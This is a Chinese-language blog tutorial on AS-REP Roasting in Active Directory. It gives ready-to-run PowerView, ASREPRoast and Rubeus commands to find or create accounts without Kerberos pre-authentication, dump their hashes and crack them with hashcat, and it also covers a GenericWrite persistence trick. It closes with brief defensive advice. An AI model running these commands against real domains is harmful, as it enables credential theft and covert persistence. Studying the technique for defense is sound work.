域渗透——AS-REPRoasting

发布于 2024-10-27 08:37:35 字数 6072 浏览 3 评论 0

0x00 前言

AS-REP Roasting 同 Kerberoasting 类似,如果满足条件,就能够获得用户口令的 hash,再结合 hashcat 进行破解,最后能够还原出用户的明文口令。

本文将要参考公开资料,结合自己的理解,介绍 AS-REP Roasting 的利用方法,最后给出防御建议。

0x01 简介

本文将要介绍以下内容:

  • AS-REP Roasting 的原理
  • AS-REP Roasting 的利用条件
  • AS-REP Roasting 的利用方法
  • 破解 hash 的方法
  • 防御建议

0x02 AS-REP Roasting

1.简介

对于域用户,如果设置了选项"Do not require Kerberos preauthentication",此时向域控制器的 88 端口发送 AS-REQ 请求,对收到的 AS-REP 内容重新组合,能够拼接成"Kerberos 5 AS-REP etype 23"(18200) 的格式,接下来可以使用 hashcat 对其破解,最终获得该用户的明文口令

2.利用前提

域用户设置了选项"Do not require Kerberos preauthentication"

通常情况下,该选项默认不会开启

3.利用思路

通常在域渗透中用来维持权限

需要先获得对指定用户的 GenericWrite 权限,利用思路如下:

  1. 开启用户选项"Do not require Kerberos preauthentication"
  2. 导出 hash 并破解
  3. 关闭用户选项"Do not require Kerberos preauthentication"

0x03 AS-REP Roasting 的利用方法

1.寻找满足条件的用户

用户需要开启选项"Do not require Kerberos preauthentication"

这里可以使用 LDAP 查询满足条件(userAccountControl:1.2.840.113556.1.4.803:=4194304) 的用户

参考资料:

DONT_REQ_PREAUTH 项对应的值为 4194304

PowerView 的命令如下:

Import-Module .\PowerView.ps1
Get-DomainUser -PreauthNotRequired -Verbose

示例如下图

Alt text

只显示 distinguishedname 项:

Import-Module .\PowerView.ps1
Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose

示例如下图

Alt text

2.开启和关闭选项"Do not require Kerberos preauthentication"

开启选项意味着对用户添加属性(userAccountControl=4194304)

开启选项的命令如下:

Import-Module .\PowerView.ps1
Set-DomainObject -Identity testb -XOR @{userAccountControl=4194304} -Verbose

关闭选项意味着删除用户属性(userAccountControl=4194304)

注:这里可以再次进行异或运算,两次异或相当于不改变原数值,即删除用户属性(userAccountControl)

关闭选项的命令如下:

Import-Module .\PowerView.ps1
Set-DomainObject -Identity testb -XOR @{userAccountControl=4194304} -Verbose

3.导出 hash

(1) 使用 Powershell

https://github.com/HarmJ0y/ASREPRoast

导出所有可用用户 hash 的命令如下:

Import-Module .\ASREPRoast.ps1
Invoke-ASREPRoast -Verbose |fl

示例如下图

Alt text

导出指定用户 hash 的命令如下:

Get-ASREPHash -UserName testb -Verbose

示例如下图

Alt text

提取出 hash:

$krb5asrep$testb@test.com:a128092441a3af80015554db2f3fe44e$d69b44c7d9cf36261a012d012f636a2124837af89a48ef686e1ac7572af93741fc801423443a85c9aacd6a5f85f1d840d07b09e68795ce691a818fa765674c3f25492ed49e7274d98096d599c9ff0de6e169efdb3429cde39dbdea4633580981bcb34ecf330d0cb2cb194e2944f77b8fc15c056684fee33d3ee7e0b86bc56072c3bfcd2d3abeb06bfb42144a06cf90c5c60e9c255d93d9c62bbf1cc37e75d8f6d22120bf8de673db20f108da96a9e3d9d099346fff8619f49961feeaf96c35eb1a237b42b6716012dfc08d96146eb1df65e9a66a67685c04f8ab7e21bfa36800babc1ad3

(2) 使用 C#(Rubeus)

https://github.com/GhostPack/Rubeus

命令如下:

Rubeus.exe asreproast

示例如下图

Alt text

4.使用 hashcat 进行破解

提取出 hash:

$krb5asrep$testb@test.com:a128092441a3af80015554db2f3fe44e$d69b44c7d9cf36261a012d012f636a2124837af89a48ef686e1ac7572af93741fc801423443a85c9aacd6a5f85f1d840d07b09e68795ce691a818fa765674c3f25492ed49e7274d98096d599c9ff0de6e169efdb3429cde39dbdea4633580981bcb34ecf330d0cb2cb194e2944f77b8fc15c056684fee33d3ee7e0b86bc56072c3bfcd2d3abeb06bfb42144a06cf90c5c60e9c255d93d9c62bbf1cc37e75d8f6d22120bf8de673db20f108da96a9e3d9d099346fff8619f49961feeaf96c35eb1a237b42b6716012dfc08d96146eb1df65e9a66a67685c04f8ab7e21bfa36800babc1ad3

拼接成 hashcat 能够识别的格式需要在 $krb5asrep 后面添加 $23

hashcat 使用字典破解的参数如下:

hashcat -m 18200 '$krb5asrep$23$testb@test.com:a128092441a3af80015554db2f3fe44e$d69b44c7d9cf36261a012d012f636a2124837af89a48ef686e1ac7572af93741fc801423443a85c9aacd6a5f85f1d840d07b09e68795ce691a818fa765674c3f25492ed49e7274d98096d599c9ff0de6e169efdb3429cde39dbdea4633580981bcb34ecf330d0cb2cb194e2944f77b8fc15c056684fee33d3ee7e0b86bc56072c3bfcd2d3abeb06bfb42144a06cf90c5c60e9c255d93d9c62bbf1cc37e75d8f6d22120bf8de673db20f108da96a9e3d9d099346fff8619f49961feeaf96c35eb1a237b42b6716012dfc08d96146eb1df65e9a66a67685c04f8ab7e21bfa36800babc1ad3' /usr/share/john/password.lst -o found.txt --force

参数说明:

/usr/share/john/password.lst 为字典文件的位置 -o found.txt 表示输出结果的位置

0x04 防御建议

1.确保域内不存在开启"Do not require Kerberos preauthentication"的用户

扫描方法(使用 PowerView):

Import-Module .\PowerView.ps1
Get-DomainUser -PreauthNotRequired -Verbose

2.域用户强制使用复杂口令,提高被字典和暴力破解的难度

0x05 小结

本文介绍了 AS-REP Roasting 在域渗透中的利用条件和方法,给出防御建议。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

∞琼窗梦回ˉ

暂无简介

0 文章
0 评论
23 人气
更多

推荐作者

lee_heart

文章 0 评论 0

往事如风

文章 0 评论 0

春风十里

文章 0 评论 0

纸短情长

文章 0 评论 0

qq_pdEUFz

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文